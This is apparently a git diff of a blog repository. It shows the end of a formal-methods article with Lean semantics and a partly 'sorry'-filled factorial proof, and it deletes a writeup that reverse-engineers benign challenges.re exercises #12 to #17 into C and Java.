([ - (atom.symbol "lambda"), - (atom.list params), - (atom.list [(atom.symbol "begin"), rhs])]))) - | (atom.symbol place) := - do { - rhs_result ← compile_stmt rhs, - pure (stmt.define place rhs_result) } - | _ := none - end - | _ := do { - result₁ ← compile_stmt func, - result₂ ← compile_stmt place, - result₃ ← compile_stmt rhs, - pure (stmt.app result₁ [result₂, result₃]) } - end --- Arity 3 -| (atom.list (list.cons func (list.cons rest_head (list.cons rest_tail₁ (list.cons rest_tail₂ (list.nil)))))) := -match func with - | (atom.symbol "if") := - do { - result₁ ← compile_stmt rest_head, - result₂ ← compile_stmt rest_tail₁, - result₃ ← compile_stmt rest_tail₂, - pure (stmt.ite result₁ result₂ result₃)} - | (atom.symbol "begin") := - do { - result₁ ← compile_stmt rest_head, - result₂ ← compile_stmt rest_tail₁, - result₃ ← compile_stmt rest_tail₂, - pure (stmt.seq result₁ (stmt.seq result₂ result₃))} - | _ := do { - result₁ ← compile_stmt func, - result₂ ← compile_stmt rest_head, - result₃ ← compile_stmt rest_tail₁, - result₄ ← compile_stmt rest_tail₂, - pure (stmt.app result₁ [result₂, result₃, result₄])} - end --- Arity n > 3 -| (atom.list (list.cons func (list.cons rest_head (list.cons rest_tail₁ rest_tail₂)))) := - match func with - | (atom.symbol "begin") := - do { - result₁ ← compile_stmt rest_head, - result₂ ← compile_stmt rest_tail₁, - result₃ ← compile_stmt_list rest_tail₂, - pure (stmt.seq result₁ (stmt.seq result₂ (seq_from_list_stmt result₃)))} - -- Generalization of `lambda` above. - -- We're duplicating code to make the equation compiler happy. - | (atom.symbol "lambda") := some (stmt.expr (atom.list (list.cons func (list.cons rest_head (list.cons rest_tail₁ rest_tail₂))))) - -- Syntax sugar for (define func (lambda (param₁ ...) body)) - -- We're duplicating code to make the equation compiler happy. - | (atom.symbol "define") := - match rest_head with - | (atom.list (list.cons (atom.symbol func_name) params)) := - some (stmt.expr - (atom.list ([ - (atom.symbol "lambda"), - (atom.list params), - (atom.list ([(atom.symbol "begin")] ++ (list.cons rest_tail₁ rest_tail₂)))]))) - | _ := none - end - | _ := do { - result₁ ← compile_stmt func, - result₂ ← compile_stmt_list (list.cons rest_head (list.cons rest_tail₁ rest_tail₂)), - pure (stmt.app result₁ result₂) } - end -| (atom.list (list.nil)) := none -| (atom.symbol sym) := - if is_primitive_procedure sym then - some (stmt.expr (atom.primitive_procedure sym)) - else some (stmt.var sym) -| e := some (stmt.expr e) - -with compile_stmt_list : list atom → option (list stmt) -| (list.cons head rest) := - match compile_stmt head with - | (some result) := - match (compile_stmt_list rest) with - | some result_rest := some (list.cons result result_rest) - | none := none - end - | none := none - end -| (list.nil) := some [] - -def unwrap_option {α : Type} [inhabited α] : option α → α -| (some x) := x -| _ := inhabited.default - -mutual inductive args_step, big_step -with args_step : list stmt × list state → list atom × list state → Prop -| nil {s} : - args_step - ((list.nil), s) - ((list.nil), s) - -| cons {S T s s' s'' u r} - (hstep : big_step (S, s) (u, s')) - (hrest : args_step (T, s') (r, s'')) : - args_step - (list.cons S T, s) - (list.cons u r, s'') - -with big_step : stmt × list state → atom × list state → Prop --- I'm not especially happy with this particular rule. I don't think it's --- unsound, but I'm not 100% confident about that. Unfortunately it's necessary --- if I don't want to completely rework how function bodies are represented. -| drop_frame {expr u s s' f rest} - (heval_in_frame : big_step (expr, s) (u, s')) - (h_has_frame : s = list.cons f rest) : - big_step (expr, s) (u, rest) - -| self_evaluating {expr s} - (h_not_lambda : ¬ is_lambda expr): - big_step - (stmt.expr expr, s) - (expr, s) - -| construct_compound_procedure {args body closure s} - (h_well_formed : mk_compound_procedure s args body = except.ok closure): - big_step - (stmt.expr (atom.list ([(atom.symbol "lambda"), args] ++ body)), s) - (closure, s) - -| var_deref {x u s} - (h_lookup_var : lookup_var x s = some u): - big_step - (stmt.var x, s) - (u, s) - -| seq {S S' T s t t' u} - (hS : big_step (S, s) (S', t)) - (hT : big_step (T, t) (u, t')) : - big_step - (stmt.seq S T, s) - (u, t') - -| assign {x rhs rhs_expr s s' s''} - (h_rhs_eval : big_step (rhs, s) (rhs_expr, s')) - (h_var_exists : set_var x rhs_expr s' = except.ok s'') : - big_step - (stmt.assign x rhs, s) - (atom.undefined, s'') - -| define {x rhs rhs_expr s s'} - (h_rhs_eval : big_step (rhs, s) (rhs_expr, s')) : - big_step - (stmt.define x rhs, s) - (atom.undefined, list.cons ((list.head s'){x ↦ rhs_expr}) (list.tail s')) - -| ite_true {b S T s s' t u} - (hcond : big_step (b, s) ((atom.boolean tt), s')) - (heval : big_step (S, s') (u, t)) : - big_step - (stmt.ite b S T, s) - (u, t) - -| ite_false {b S T s s' t u} - (hcond : big_step (b, s) ((atom.boolean ff), s')) - (heval : big_step (T, s') (u, t)) : - big_step - (stmt.ite b S T, s) - (u, t) - -| application {closed func params body body' args args' expr s s' s'' s'''} - (h_func : big_step (func, s) ((atom.compound_procedure closed params body), s')) - (h_args : args_step (args, s') (args', s'')) - (h_well_formed : compile_stmt body = some body') - (heval : big_step (body', - (list.cons (new_frame params args') - (list.cons closed s'))) - (expr, s'')) : - big_step - (stmt.app func args, s) - (expr, s''') - -| application_primitive_add {s s' args args' n} - (h_args : args_step (args, s) (args', s')) - (heval: primitive_add args' = except.ok (atom.number n)): - big_step - (stmt.app - (stmt.expr (atom.primitive_procedure "+")) - args, s) - (atom.number n, s) - -| application_primitive_sub {s s' args args' n} - (h_args : args_step (args, s) (args', s')) - (heval: primitive_sub args' = except.ok (atom.number n)): - big_step - (stmt.app - (stmt.expr (atom.primitive_procedure "-")) - args, s) - (atom.number n, s) - -| application_primitive_mul {s s' args args' n} - (h_args : args_step (args, s) (args', s')) - (heval: primitive_mul args' = except.ok (atom.number n)): - big_step - (stmt.app - (stmt.expr (atom.primitive_procedure "*")) - args, s) - (atom.number n, s) - -| application_primitive_div {s s' args args' n} - (h_args : args_step (args, s) (args', s')) - (heval: primitive_div args' = except.ok (atom.number n)): - big_step - (stmt.app - (stmt.expr (atom.primitive_procedure "/")) - args, s) - (atom.number n, s) - -| application_primitive_eq {s s' args args' b} - (h_args : args_step (args, s) (args', s')) - (heval: primitive_eq args' = except.ok (atom.boolean b)): - big_step - (stmt.app - (stmt.expr (atom.primitive_procedure "=")) - args, s) - (atom.boolean b, s) - -| application_primitive_car {s s' args args' u} - (h_args : args_step (args, s) (args', s')) - (heval: primitive_car args' = except.ok u): - big_step - (stmt.app - (stmt.expr (atom.primitive_procedure "car")) - args, s) - (u, s) - -| application_primitive_cdr {s s' args args' u} - (h_args : args_step (args, s) (args', s')) - (heval: primitive_cdr args' = except.ok u): - big_step - (stmt.app - (stmt.expr (atom.primitive_procedure "cdr")) - args, s) - (u, s) - -| application_primitive_cons {s s' args args' u} - (h_args : args_step (args, s) (args', s')) - (heval: primitive_cons args' = except.ok u): - big_step - (stmt.app - (stmt.expr (atom.primitive_procedure "cons")) - args, s) - (u, s) - -| application_primitive_null {s s' args args' u} - (h_args : args_step (args, s) (args', s')) - (heval: primitive_null args' = except.ok u): - big_step - (stmt.app - (stmt.expr (atom.primitive_procedure "null?")) - args, s) - (u, s) - -| application_primitive_eqv {s s' args args' u} - (h_args : args_step (args, s) (args', s')) - (heval: primitive_null args' = except.ok u): - big_step - (stmt.app - (stmt.expr (atom.primitive_procedure "eqv?")) - args, s) - (u, s) -#+END_SRC - -#+BEGIN_EXPORT html -
-#+END_EXPORT - -This is the simplest program I could think of to show that the program semantics are at least usable. - -#+BEGIN_SRC lean -lemma var_lookup : - big_step - (stmt.var "x", [(λ x, none){"x" ↦ atom.number 1}]) - ((atom.number 1), [(λ x, none){"x" ↦ atom.number 1}]) := -begin - apply big_step.var_deref, - let my_state := [(λ x, none){"x" ↦ atom.number 1}], - apply lookup_head, - simp [state.update], -end -#+END_SRC - -This is a much more involved proof: that the factorial program at the top of this file is "correct," in the sense that it computes `int.factorial`. - -As you'll see, my approach to proving this statement involved many obligations, and ended up being very tedious. It's effectively the "intro to algorithms" proof of correctness for factorial, except that we're appealing to the big-step semantics above. By which I mean -- we're doing a rather poor job of leveraging the mathematical tools we just spent pages of code developing. Had I more time to work on this assignment, I might have naturally come to one of the refinement-based solutions, but I chose to be stubborn and just press forward. - -#+BEGIN_EXPORT html -
-#+END_EXPORT - -#+BEGIN_SRC lean -def nat.factorial : ℕ → ℤ -| 0 := 1 -| (n + 1) := (n + 1) * (nat.factorial n) - -def int.factorial : ℤ → ℤ -| (int.of_nat n) := nat.factorial n -| (int.neg_succ_of_nat n) := nat.factorial (n + 1) - --- Would be trivial if there wasn't casting. -lemma sub1_cast (n : ℕ) : - primitive_sub [atom.number (↑n + 1), atom.number 1] = except.ok (atom.number ↑n) := -sorry - --- Would be trivial (unfold `int.factorial`) if there wasn't casting. -lemma primitive_mul_fact (n : ℕ) : - primitive_mul [atom.number (↑n + 1), atom.number (int.factorial ↑n)] = except.ok (atom.number (int.factorial ↑(nat.succ n))) := -sorry - --- Would be trivial if comparison was decidable. -lemma factorial_program_compile_inner : - (compile_stmt - (atom.list - [atom.symbol "if", atom.list [atom.symbol "=", atom.number 0, atom.symbol "x"], atom.number 1, atom.list - [atom.symbol "*", atom.symbol "x", atom.list - [atom.symbol "factorial", atom.list [atom.symbol "-", atom.symbol "x", atom.number 1]]]])) = - some - (stmt.ite (stmt.app (stmt.expr (atom.primitive_procedure "=")) - [stmt.expr (atom.number 0), stmt.var "x"]) - (stmt.expr (atom.number 1)) - (stmt.app (stmt.expr (atom.primitive_procedure "*")) - [stmt.var "x", - stmt.app (stmt.var "factorial") - [stmt.app (stmt.expr (atom.primitive_procedure "-")) - [stmt.var "x", stmt.expr (atom.number 1)]]])) := -sorry - --- For convenience -- the `factorial` function definition is pretty unwieldy to --- be passing around in theorem statements. -def define_factorial (s : list state) : list state := -list.cons ((λ _, none){"factorial" ↦ - (atom.compound_procedure (λ x, none) ["x"] - (atom.list [ - (atom.symbol "if"), - (atom.list [(atom.symbol "="), (atom.number 0), (atom.symbol "x")]), - (atom.number 1), - (atom.list [ - (atom.symbol "*"), - (atom.symbol "x"), - (atom.list [ - (atom.symbol "factorial"), - (atom.list [ - (atom.symbol "-"), - (atom.symbol "x"), - (atom.number 1)])])])]))}) s - -lemma factorial_program_correct (n : ℕ) (s : list state) (arg : stmt) - (h_eval_to_n : big_step - (arg, define_factorial s) - (atom.number n, define_factorial s)) : - big_step - (stmt.app (stmt.var "factorial") [arg], define_factorial s) - (atom.number (int.factorial n), define_factorial s) := -begin - let fundef := - (atom.compound_procedure (λ x, none) ["x"] - (atom.list [ - (atom.symbol "if"), - (atom.list [(atom.symbol "="), (atom.number 0), (atom.symbol "x")]), - (atom.number 1), - (atom.list [ - (atom.symbol "*"), - (atom.symbol "x"), - (atom.list [ - (atom.symbol "factorial"), - (atom.list [ - (atom.symbol "-"), - (atom.symbol "x"), - (atom.number 1)])])])])), - have h_lookup_factorial : lookup_var "factorial" (define_factorial s) = some fundef, by - begin - simp [define_factorial], - apply lookup_head, - simp [state.update], - end, - induction' n, - { apply big_step.application, - { apply big_step.var_deref, - simp [h_lookup_factorial, fundef], - apply and.intro, - { refl, }, - { apply and.intro, - { refl, }, - { refl, }}}, - { apply args_step.cons, - { apply h_eval_to_n, }, - { apply args_step.nil, }}, - { exact factorial_program_compile_inner, }, - { apply big_step.ite_true, - { apply big_step.application_primitive_eq, - { apply args_step.cons, - { apply big_step.self_evaluating, simp [is_lambda], }, - { apply args_step.cons, - { apply big_step.var_deref, - simp [new_frame], - apply lookup_head, - simp [state.update], }, - { apply args_step.nil, }}}, - { unfold primitive_eq, simp, }}, - { apply drop_two_frames, - apply big_step.self_evaluating, - simp [is_lambda], }}}, - { apply big_step.application, - { apply big_step.var_deref, - simp [h_lookup_factorial, fundef], - apply and.intro, - { refl, }, - { apply and.intro, - { refl, }, - { refl, }}}, - { apply args_step.cons, - { apply h_eval_to_n, }, - { apply args_step.nil, }}, - { exact factorial_program_compile_inner, }, - { apply big_step.ite_false, - { apply big_step.application_primitive_eq, - { apply args_step.cons, - { apply big_step.self_evaluating, simp [is_lambda], }, - { apply args_step.cons, - { apply big_step.var_deref, - simp [new_frame], - apply lookup_head, - simp [state.update], }, - { apply args_step.nil, }}}, - { unfold primitive_eq, - norm_cast, }}, - { apply drop_two_frames, - apply big_step.application_primitive_mul, - { apply args_step.cons, - { apply big_step.var_deref, - simp [new_frame, state.update], - apply lookup_head, - simp, }, - { apply args_step.cons, - { have hsimp : ∀ (arg : stmt) (u : atom) (s : list state), - big_step (arg, new_frame ["x"] [atom.number ↑(nat.succ n)] :: (λ (x : string), none) :: define_factorial s) - (u, new_frame ["x"] [atom.number ↑(nat.succ n)] :: (λ (x : string), none) :: define_factorial s) ↔ - big_step (arg, define_factorial (new_frame ["x"] [atom.number ↑(nat.succ n)] :: (λ (x : string), none) :: define_factorial s)) - (u, define_factorial (new_frame ["x"] [atom.number ↑(nat.succ n)] :: (λ (x : string), none) :: define_factorial s)), - by sorry, -- Nontrivial but obvious. - rw hsimp, - apply ih, - { exact h_lookup_factorial, }, - { apply big_step.application_primitive_sub, - { apply args_step.cons, - { have hsimp₂ : lookup_var "x" - (define_factorial - (new_frame ["x"] [atom.number ↑(nat.succ n)] :: (λ (x : string), none) :: define_factorial s)) = - lookup_var "x" (new_frame ["x"] [atom.number ↑(nat.succ n)] :: (λ (x : string), none) :: define_factorial s), - by sorry, -- Nontrivial but obvious. - apply big_step.var_deref, - rw hsimp₂, - simp [new_frame, state.update], - apply lookup_head, - simp, }, - { apply args_step.cons, - { apply big_step.self_evaluating, - simp [is_lambda], }, - { apply args_step.nil, }}}, - { apply sub1_cast, }}}, - { apply args_step.nil, }}}, - apply primitive_mul_fact, }}} -end -#+END_SRC - -#+BEGIN_EXPORT html -
-#+END_EXPORT - -The =sorry= keyword lets you pretend to be Pierre de Fermat and say "this should be provable but I don't want to write the proof down." It's helpful in making some progress when you're working towards a deadline, but it completely violates the soundness of Lean's logic. - -I'm not sure how enlightening any of this is, but I think it does highlight how much goes into using these sorts of tools for program verification compared to the ease with which we used Alloy to check my answer to a homework problem. - -* What I Have Yet to Learn - -Quite a bit! - -I've alluded to a few things in the previous sections. I have much more to learn about the specification of programming language semantics, and how to apply data refinement in practice. I'm also interested in learning TLA+ and SPARK. They seem to meet somewhere in the middle of Alloy and Lean, which I expect to be the right fit for what I do professionally. I want to learn about the mathematics that underpins SMT, and the algorithms that enable fast SAT solving. I want to learn about how Lean works at a low-level, and the different approaches to encoding logic in a proof assistant. - -In short, I've barely scratched the surface. I know enough to be dangerous, but I have a ways to go before I'm the "domain expert" I strive to be. - -* Conclusions - -In this article, we've introduced what formal methods are and gained a cursory understanding of the techniques suited to "high-level" verification and "low-level" verification. "Formal methods" refers to the use of mathematical techniques to establish properties about software and verify that those properties hold true -- to provide a higher level of confidence to practitioners about the correctness of software than testing alone. Alloy and Forge are well-suited to working with systems at a high-level and leverage SAT solving to verify properties of interest. Lean, Isabelle, and Coq are well-suited to working with systems at a lower level, and work as a mechanization of mathematical logic: a proof in a proof assistant is equivalent to (but typically more formal than) a proof that a mathematician or computer scientist might write on a piece of paper. - -Now that I've got that out of my system, it's time to get back to keeping my head down and working on applying what I've learned to something useful. I hope to write about what I'm working on soon, but this blog can be a bit of a distraction, so I'll be taking a short break from writing for now. See you soon! - -* Appendix: Using the Tools - -Lean 3 is packaged in the Gentoo repositories, but Lean 4 is not. I have an ebuild for it in [[https://git.sr.ht/~jakob/zerodaysfordays][my overlay]] if you use Gentoo and you'd like to experiment with Lean 4. - -[[https://github.com/leanprover/lean-mode][lean-mode]] was great but [[https://github.com/leanprover/lean4-mode][lean4-mode]] forces you into using [[https://github.com/emacs-lsp/lsp-mode][lsp-mode]], which I don't like. (I much prefer [[https://github.com/joaotavora/eglot][eglot]].) I'm currently using [[https://github.com/akirak/lean4-mode/commits/modular][this fork]], which isolates the parts which are specific to =lsp-mode=. Then all I need to do is set =/usr/bin/lake serve= as the language server for =lean4-mode= in =eglot-server-programs= and add - -#+BEGIN_SRC elisp -(defvar lean4-goal-buffer (get-buffer-create "*lean4-goal*")) - -(defun lean4-update-goal-buffer () - (when (eq 'lean4-mode major-mode) - (jsonrpc-async-request - (eglot--current-server-or-lose) - :$/lean/plainGoal (eglot--TextDocumentPositionParams) - :success-fn - (lambda (&rest args) - (let ((goals (seq-reduce #'concat (plist-get (car args) :goals) ""))) - (save-excursion - (set-buffer lean4-goal-buffer) - (erase-buffer) - (insert goals)) - (message goals))) - :error-fn - (lambda (&rest args) (message (format "JSONrpc error %s" args)))))) - -(defun lean4-update-goal-buffer-wrap () - (unless (or (window-minibuffer-p) (not (eq major-mode 'lean4-mode))) - (lean4-update-goal-buffer))) - -(add-hook 'post-command-hook #'lean4-update-goal-buffer-wrap) -#+END_SRC - -to my =init.el= and I get a goal buffer similar to the old lean-mode or Proof General. - ---- - -[fn:1] [[https://people.cs.umass.edu/~immerman/cs691/cs691.html][CS 691M]] was last offered in 1996. [[https://people.cs.umass.edu/~hconboy/class/2023Spring/CS520/][CS 520]] purportedly discusses "formal specification methods." If you read over the syllabus, you'll quickly understand that to be an empty claim. Perhaps I could have self-taught as part of an [[https://www.cics.umass.edu/content/undergraduate-independent-study-information][independent study]], but the department (at the time) didn't count independent study credits toward your graduation requirements, and I had another offer (with money involved) to do a REU in cryptography, so that's how I spent the limited time I had available to me. - -[fn:2] I've allowed myself to move the goalposts: my purpose is now to learn enough to demonstrate that there would be value in sending me back to school to get my Ph.D. and then truly become a domain expert! - -[fn:3] It's uncommon to include stochastic tests such as this one in a "test suite". It's desirable to have a test suite that always passes or always fails. - -[fn:4] One thing also worth noting is that being able to sleep at night /now/ doesn't necessarily mean you won't have to work on safety-critical or mission-critical software later on in your career. If you're merely a hobbyist, maybe these points aren't especially convincing to you. - -[fn:5] Jackson, D. (2002). [[https://homepage.cs.uiowa.edu/~tinelli/classes/181/Spring03/Readings/Jack02b.pdf][Alloy: a lightweight object modelling notation]]. ACM Transactions on software engineering and methodology (TOSEM), 11(2), 256-290. - -[fn:6] Boolean SATisfiability and Satisfiability Modulo Theories, respectively. - -[fn:7] Nelson, T., Barratt, C., Dougherty, D. J., Fisler, K., & Krishnamurthi, S. (2010, November). The Margrave Tool for Firewall Analysis. In LISA (Vol. 10, pp. 1-18). - -[fn:8] There is some risk involved in using a new tool that doesn't have a reputation of stability, but there has to be a critical mass of folks taking that risk and being at the forefront of using the tool to help it get a good reputation. I'm choosing to take that risk. - -[fn:9] To be clear: this wasn't my motivation to engage with a study of formal methods. - -[fn:10] In temporal mode, Forge always generates traces of infinite length, but there will be a loop somewhere within it. - -[fn:11] Even so, I'm covering only a small part of the problem, so I wouldn't expect this article to be that useful to someone trying to cheese a homework assignment. - -[fn:12] For more realistic examples of property testing in Scheme, see [[https://ngyro.com/software/guile-quickcheck.html][guile-quickcheck]]. diff --git a/org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#12-#22)/challenges-re-writeups-2.org b/org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#12-#22)/challenges-re-writeups-2.org deleted file mode 100644 index 8eeff01..0000000 --- a/org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#12-#22)/challenges-re-writeups-2.org +++ /dev/null @@ -1,925 +0,0 @@ -#+TITLE: Writeups for Dennis Yurichev's Reverse Engineering Challenges (#12-#22) -#+TAGS: writeup, reverse-engineering, x86 -#+DATE: <2019-05-28 Tue 15:18> -#+HAUNT_BASE_DIR: /home/jakob/Blog/haunt/ - -This is the second set of solutions for my self-imposed challenge of completing -at least fifty of the exercises on Dennis Yurichev's [[https://challenges.re][challenges.re]] by the end of -the year. The first set is available [[http:///jakob.space/challenges-re-writeups-1.html][here]]. - -* Challenge #12 - -No hints are given for this challenge, but it is the first time a binary is -available in addition to the disassembly. I didn't download the executable, I -was able to gather from the tags that the target is amd64 Linux. - -If later challenges also provide executables, I may use it as an opportunity to -explore the NSA's newly-released [[https://www.nsa.gov/resources/everyone/ghidra/][Ghidra]]. At the time of writing this, Ghidra's -source code has yet to be released, so I'll have to pass up the opportunity this -time around. - -#+BEGIN_SRC c -#include -#include -#include -#include -#include -#include -#include -#include - -int main(int argc, char **argv) -{ - // push rbx - // mov rbx, rsi - // sub rsp, 160 - int ret; - struct stat sbuf; - struct utimbuf tbuf; - - // cmp edi, 2 - // je .L2 - if (argc != 2) { - // mov edi, OFFSET FLAT:.LC0 - // call puts - puts("Usage: "); - } - - // .L2: - // mov rsi, QWORD PTR [rbx+8] - // lea rdx, [rsp+16] - // mov edi, 1 - // call __xstat - ret = stat(argv[1], &sbuf); - - // test eax, eax - // js .L10 - if (ret < 0) { - // .L10: - // mov edi, OFFSET FLAT:.LC1 - // call puts - // xor edi, edi - // call exit - puts("error #1!"); - exit(0); - } - - // mov rax, QWORD PTR [rsp+88] - // xor edi, edi - // mov QWORD PTR [rsp], rax - tbuf.actime = sbuf.st_atim.tv_sec; - - // call time - /// ... - // mov QWORD PTR [rsp+8], rax - tbuf.modtime = time(NULL); - - // mov rdi, QWORD PTR [rbx+8] - // mov rsi, rsp - // call utime - ret = utime(argv[1], &tbuf); - - // test eax, eax - // js .L11 - if (ret < 0) { - // .L11: - // mov edi, OFFSET FLAT:.LC2 - // call puts - // xor edi, edi - // call exit - puts("error #2!"); - exit(0); - } - - // add rsp, 160 - // xor eax, eax - // pop rbx - // ret - return 0; -} -#+END_SRC - -The first thing that may stand out in the disassembly listing is =call __xstat=. -=__xstat= isn't part of the C standard library or POSIX. My understanding of -functions like these is that sometimes an interface like =stat= will result in a -call to some internal libc routine when compiled, but the only time I've seen -this before was with =__printf_chk=. Regardless, search engines are your friend, -and you should have no trouble arriving at the [[http://refspecs.linuxbase.org/LSB_3.0.0/LSB-PDA/LSB-PDA/baselib-xstat-1.html][relevant page]] in the Linux -Standard Base Specification. One interesting thing of note is the comment that -"=ver= shall be =3= or the behavior of these functions is undefined," yet the -disassembly indicates that =ver= is =1=. I'm doubtful that this is part of the -challenge, though. - -I also just guessed that =QWORD PTR [rsp+88]= was =sbuf.st_atim.tv_sec=, given the -context that the value is used in. Going from assembly to the corresponding -fields of a struct is a pain without a tool, which is perhaps an indication that -I should've downloaded the binary and used Ghidra^h^h^h^h^h^hradare2 to prod at -it. - -Either way, the code updates a file's modification time. It's comparable to -=touch=, but doesn't create the file if it doesn't exist. The strings are -intentionally vague, so here's a cleaned up version: - -#+BEGIN_SRC c -#include -#include - -int main(int argc, char **argv) -{ - struct stat sbuf; - struct utimbuf tbuf; - - if (argc != 2) { - printf("Usage: %s [path]\n", argv[0]); - } - - if (stat(argv[1], &sbuf) < 0) { - printf("%s: %s\n", argv[1], strerror(errno)); - exit(0); - } - - tbuf.actime = sbuf.st_atim.tv_sec; - tbuf.modtime = time(NULL); - - if (utime(argv[1], &tbuf) < 0) { - printf("utime: %s\n", strerror(errno)); - exit(0); - } - - return 0; -} -#+END_SRC - -* Challenge #13 - -The question for this exercise is, "[w]hat does this SSE code do?" Uh oh. I -don't know anything about SSE. Not the end of the world, though. I always -appreciate an opportunity to learn. Here are some notes I took on chapter 25 of -Yurichev's book: - -_Vectorization_ is the process of taking several arrays as input and producing a -single array as output. SIMD (Single Instruction, Multiple Data) is a way of -optimizing vectorization by doing certain array-level operations in parallel. - -Intel's initial implementation of SIMD reused FPU register. SSE added 128-bit -registers (%xmm*) that were separate from the FPU, and AVX added 256-bit -registers that were separate from the FPU. - -Well, that doesn't seem too complicated, and the exercise only uses two -instructions: =movdqu=, which loads a 16-byte value from memory into an %xmm* -register, and =pmaxub=, which calculates the maximum values between two %xmm* -registers. - -#+BEGIN_SRC c -void f(int *dest, int *a, int *b) -{ - int i; - - // xor rax, rax - // ... - // add rax, 16 - // cmp rax, 1024 - // jne .L4 - // ... - // .L4: - for (i = 0; i < 256; i++) { - // movdqu xmm0, XMMWORD PTR [rsi+rax] - // movdqu xmm1, XMMWORD PTR [rdx+rax] - // pmaxub xmm0, xmm1 - // movdqu XMMWORD PTR [rdi+rax], xmm0 - dest[i] = a[i] > b[i] ? a[i] : b[i]; - } - - // rep ret - return; -} -#+END_SRC - -=f= will fill an array, =dest=, such that the element at each index contains the -greater value between =a= and =b= for that index. - -* Challenge #14 - -The challenge description explains that, "[n]ow that's easy," and gives both -.NET and Java bytecode disassemblies. I am not familiar with either bytecode -format, but I do know Java (unfortunately), so I went with that. - -#+BEGIN_SRC java -public class Challenge14 { - public static boolean f(char a) { - // 0: iload_1 - // 1: bipush 97 - // 3: if_icmplt 14 - // 6: iload_1 - // 7: bipush 122 - // 9: if_icmpgt 14 - if (a < 97 || a > 122) { - // 14: iload_1 - // 15: bipush 65 - // 17: if_icmplt 28 - // 20: iload_1 - // 21: bipush 90 - // 23: if_icmpgt 28 - if (a < 65 || a > 90) { - // 28: iconst_0 - // 29: ireturn - return false; - } - - // 26: iconst_1 - // 27: ireturn - return true; - } - - // 12: iconst_1 - // 13: ireturn - return true; - } -} -#+END_SRC - -I'm not particularly confident in my translation -- the above is the result of -skimming the [[https://en.wikipedia.org/wiki/Java_bytecode][Java bytecode]] and [[https://en.wikipedia.org/wiki/Java_bytecode_instruction_listings][Java bytecode instruction listings]] pages on -Wikipedia -- but that translation does appear to convey a meaningful operation: -telling whether or not =a= is an ASCII letter. - -* Challenge #15 - -The challenge description explains that, "[n]ow that's really easy." - -#+BEGIN_SRC c -void f(char *dst) -{ - int i; - - // xorps %xmm0, %xmm0 - // movups %xmm0, 240(%rdi) - // movups %xmm0, 224(%rdi) - // movups %xmm0, 208(%rdi) - // movups %xmm0, 192(%rdi) - // movups %xmm0, 176(%rdi) - // movups %xmm0, 160(%rdi) - // movups %xmm0, 144(%rdi) - // movups %xmm0, 128(%rdi) - // movups %xmm0, 112(%rdi) - // movups %xmm0, 96(%rdi) - // movups %xmm0, 80(%rdi) - // movups %xmm0, 64(%rdi) - // movups %xmm0, 48(%rdi) - // movups %xmm0, 32(%rdi) - // movups %xmm0, 16(%rdi) - // movups %xmm0, (%rdi) - // ret - for (i = 0; i < 256; i++) { - dst[i] = '\0'; - } -} -#+END_SRC - -I initially read the disassembly for this challenge as if it were Intel syntax, -but it's AT&T. The operation is simple: =f= zeroes out a 256-byte buffer specified -by the first parameter. - -* Challenge #16 - -Only one disassembly is given for this challenge, and the description hints that -it is from Clang: "[n]ow this is getting harder. Clang did a lot of optimization -tricks and this code is heavily optimized for SSE2. Nevertheless, the original -function is tiny and simple. What does it do?" - -In all honesty, I don't think that a translation to C is helpful. As the problem -mentioned, there's heavy optimization for SSE2, and the assembly code only -tangentially corresponds to what (I believe) is going on. Instead, I'll attempt -to justify my partial conclusion that =f= sums an array of integers. - -Bytes from =rdi= (indexed with =rcx=) are interleaved into =xmm0= and =xmm2= with -=pinsrw=, and continually added into =xmm3= and =xmm4=. Then, =xmm0= and =xmm2= are added, -and =xmm1= is unpacked with =punpckhqdq xmm1, xmm1=. The pseudocode for the -=punpckhqdq= instruction is given as: - -#+BEGIN_SRC c -Destination[0..63] = Destination[64..127]; -Destination[64..127] = Source[64..127]; -#+END_SRC - -So it's unusual to see =xmm1= as both the "Source" and "Destination". This is -followed by a =paddq xmm1, xmm0=. - -I can't really confirm any of this because of the =movdqa xmm1, xmmword ptr -[rip + .LCPI0_0]= instruction. Some sort of mask is being used in those =pand -xmm0, xmm1= and =pand xmm2, xmm1= instructions, and I suspect that it's one of many -tricks coming together so the function works for an array of _integers_, but we -aren't given =.LCPI0_0=, so I can't tell for sure. - -This also means that I can't assemble what's given. If anyone out there is -experienced in SIMD and would to share some tips for making sense of this one, -I'd really appreciate it. - -* Challenge #17 - -The description explains that "[t]his is a quite esoteric piece of code, but -nevertheless, the task it does is very mundane and well-known to anyone. The -function has 4 32-bit arguments and returns a 32-bit one." - -#+BEGIN_SRC c -int f(int a, int b, int c, int d) -{ - int tmp1, tmp2; - - // sub edx, edi - c -= a; - - // mov r8d, ecx - // ... - // sub r8d, esi - tmp1 = d - b; - - // mov ecx, 63 - d = 63; - - // mov eax, edx - // sar eax, cl - // and eax, edx - tmp2 = (c >> (d & 0xff)) & c; - - // mov edx, r8d - // sar edx, cl - // ... - // and edx, r8d - c = (tmp1 >> (d & 0xff)) & tmp1; - - // add edi, eax - a += tmp2; - - // add esi, edx - // sub esi, edi - b += c - a; - - // mov eax, esi - // sar eax, cl - // and eax, esi - // add eax, edi - // ret - return ((b >> (d & 0xff)) & b) + a; -} -#+END_SRC - -The initial translation is quite messy, but observe that =d= has a constant value -of =63=, and =63 & 0xff= is just =63=. Still, there are a number of snippets that look -like =(c >> (d & 0xff)) & c=, and it isn't obvious what that does. - -#+BEGIN_SRC c -int black_box(int a) -{ - return (a >> 63) & a; -} - -int main(void) -{ - int i; - - for (i = 0; i >= 0; i += 1) { - if (black_box(i) != 0) { - printf("black_box(%d) = %d\n", i, black_box(i)); - } - } - - for (i = 0; i <= 0; i -= 1) { - if (black_box(i) != i) { - printf("black_box(%d) = %d\n", i, black_box(i)); - } - } - - - return 0; -} -#+END_SRC - -#+BEGIN_SRC -re.c: In function 'black_box': -re.c:64:13: warning: right shift count >= width of type [-Wshift-count-overflow] - return (a >> 63) & a; - ^~ -#+END_SRC - -I'm not sure if this is the intended behavior, but on amd64, this acts as -\(min(x, 0)\). A first step at simplification can be made. - -#+BEGIN_SRC c -#define MIN(a, b) (a < b ? a : b) - -int f(int a, int b, int c, int d) -{ - a += MIN(c - a, 0); - c = MIN(d - b, 0); - b += c - a; - return MIN(b, 0) + a; -} -#+END_SRC - -And this can be further cleaned up into a one-liner. - -#+BEGIN_SRC c -#define MIN(a, b) (a < b ? a : b) - -int f(int a, int b, int c, int d) -{ - return a + \ - MIN(b - a + MIN(d - b, 0) - 